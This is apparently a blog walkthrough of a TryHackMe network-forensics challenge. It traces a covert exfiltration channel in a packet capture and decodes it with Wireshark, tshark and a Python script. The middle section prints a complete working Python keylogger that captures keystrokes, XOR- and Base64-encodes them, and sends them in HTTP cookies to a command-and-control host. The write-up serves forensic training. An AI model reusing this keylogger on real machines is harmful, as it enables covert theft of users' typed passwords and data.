In this forensic challenge, we are to investigate a network traffic capture (.pcapng) to discover a covert communication channel being used to exfiltrate sensitive data off a guest network.
Below is a detailed, step-by-step walkthrough of the thought process, tools, and commands used to solve Packed Light.
1. Initial Recon & Analyzing Room Clues
Before touching the capture file, I begin by carefully reading the room briefing and social post hint provided on the platform:
Briefing: “Tiny packets. Odd hours. Suspiciously regular. Someone’s smuggling out the data equivalent of a hotel towel every night, folded neatly inside traffic that looks ordinary until you decode it.”
@0xMia’s Story Hint: “not me watching my laptop ping some random :8080 address every single second like clockwork 🚩 the request headers are giving ‘not a real app’ ngl also what is with the crypto 😭”
Key Takeaways from the Clues:
- Destination Port: Traffic is heading to port 8080.
- Frequency: Packets are sent continuously at short, fixed intervals (classic beaconing / keylogging behavior).
- Data Location: The exfiltrated data resides inside HTTP Headers (or cookies) rather than standard POST bodies.
- Encoding/Encryption: The payload is encrypted or encoded before transmission.
2. Inspecting the Traffic in Wireshark
After downloading the capture file (traffic.pcapng), we open it inside Wireshark.
Step 2.1: Applying the Display Filter

Using the hint about port 8080, we apply a Wireshark filter to isolate relevant HTTP requests:
http && tcp.port == 8080
Step 2.2: Inspecting the First HTTP Stream
Selecting the very first HTTP packet in the filtered view, we right-click and choose Follow → HTTP Stream.
Instead of finding simple background telemetry, the HTTP response returns the actual source code of the running malware script!

import requests
import base64
from pynput import keyboard
C2_URL = "http://byte-lotus-hotel.thm:8080/"
def getkey():
p1 = "H0t3lSt@ff0Nly"
p2 = "K3epS3cr3t!"
return p1 + p2
def xor(data: bytes, key: bytes) -> bytes:
return bytes(b ^ key[i % len(key)] for i, b in enumerate(data))
def sendltr(character):
raw_bytes = character.encode('utf-8')
encrypted = xor(raw_bytes, getkey().encode('utf-8'))
b64_string = base64.b64encode(encrypted).decode('utf-8')
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) ByteLotusClient/1.1",
"Cookie": f"hotel_sess_state={b64_string}"
}
try:
requests.get(C2_URL, headers=headers, timeout=0.5)
except:
pass
def on_press(key):
try:
sendltr(key.char)
except AttributeError:
if key == keyboard.Key.space:
sendltr(" ")
elif key == keyboard.Key.enter:
sendltr("\n")
print("[*] Byte Lotus Sync Service started...")
with keyboard.Listener(on_press=on_press) as listener:
listener.join()3. Deconstructing the Malware Logic
Analyzing the recovered Python script gives us complete visibility into how the exfiltration operates:
- Mechanism: It uses pynput.keyboard to capture keystrokes locally.
- Encryption: Each individual character (sendltr) is passed to an xor() function along with a combined key:
- "H0t3lSt@ff0Nly" + "K3epS3cr3t!" = "H0t3lSt@ff0NlyK3epS3cr3t!"
- Encoding & Carrier: The encrypted byte is converted to Base64 and embedded into an HTTP Cookie header as hotel_sess_state=<base64_val>.
- Implementation Flaw: Because sendltr() passes a single character (len(data) == 1) to xor() on every keystroke, enumerate(data) always indexes i = 0. Thus, every single character is XOR-encrypted strictly against the first character of the key: 'H' (ord('H') == 72).
4. Automated Extraction with tshark
Now that we know where the payload lives, we extract all hotel_sess_state cookie values sequentially using tshark from the terminal:

tshark -r traffic.pcapng -Y 'http.cookie contains "hotel_sess_state"' -T fields -e http.cookie
Command Output:
hotel_sess_state=HA==
hotel_sess_state=AA==
hotel_sess_state=BQ==
hotel_sess_state=Mw==
hotel_sess_state=Hg==
hotel_sess_state=ew==
hotel_sess_state=Og==
hotel_sess_state=fA==
.......
5. Reassembling & Decrypting the Flag
Using the extracted Base64 tokens and our understanding of the single-byte XOR implementation, we write a Python script to reverse the operation:

import base64
# Base64-encoded cookie chunks extracted from the PCAP
cookies = [
"HA==","AA==","BQ==","Mw==","Hg==","ew==","Og==","fA==","Fw==","eQ==",
"Ow==","Fw==","Pw==","fA==","PA==","Kw==","IA==","eQ==","Jg==","Lw==",
"Fw==","eA==","Pg==","LQ==","Gg==","Fw==","MQ==","eA==","PQ==","NQ=="
]
# The single character key used due to the single-byte chunk size
key_char = ord("H")
decrypted_chars = []
for c in cookies:
# 1. Base64 decode to get raw byte
enc_byte = base64.b64decode(c)
# 2. XOR with key character 'H'
dec_byte = enc_byte[0] ^ key_char
# 3. Convert back to ASCII character
decrypted_chars.append(chr(dec_byte))
print("".join(decrypted_chars))
Execution & Result:
Running the script successfully reconstructs the exfiltrated keylogger sequence and outputs the target THM{...} flag!
Conclusion
This room offers a great practical exercise in network forensics and basic code analysis. By combining Wireshark filtering, CLI extraction via tshark, and reversing the malware's encoding scheme in Python, we efficiently identified the covert channel and recovered the flag.
Submit your flag and earn a Raffle ticket . Happy Hacker Holidays.

TryHackMe: Packed Light (Hacker Holidays Day 04) Walkthrough was originally published in InfoSec Write-ups on Medium, where people are continuing the conversation by highlighting and responding to this story.
SOCIAL SHARE CARD GENERATOR